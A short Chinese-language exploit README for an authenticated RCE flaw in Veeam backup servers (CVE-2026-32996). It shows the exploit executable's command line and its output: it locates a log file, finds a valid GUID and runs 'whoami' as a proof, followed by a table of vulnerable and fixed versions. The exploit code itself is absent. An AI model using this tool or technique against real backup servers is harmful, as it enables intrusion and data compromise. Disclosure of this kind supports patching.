经身份验证的域用户可在备份服务器上实现 Veeam 远程代码执行(RCE)。
请查看博客文章了解技术细节。
https://github.com/user-attachments/assets/8a570332-1cf6-4905-9107-8fcb973c9ce7
CVE-2026-32996.exe "whoami > C:\pwned.txt"
[+] Found Svc.VeeamEndpointBackup.log
[*] Searching for valid GUIDs...
[+] Valid GUID found: 9048554a-ec99-4e18-8bc4-edc637e8d8d4
[*] Executing command 'cmd /c whoami > C:\pwned.txt'
[+] Successful!
| 版本 | 状态 |
|---|---|
| 13.0.3.1220 | 已完全修复。 |
| 13.0.2.1102 及更早版本 | 存在漏洞。 |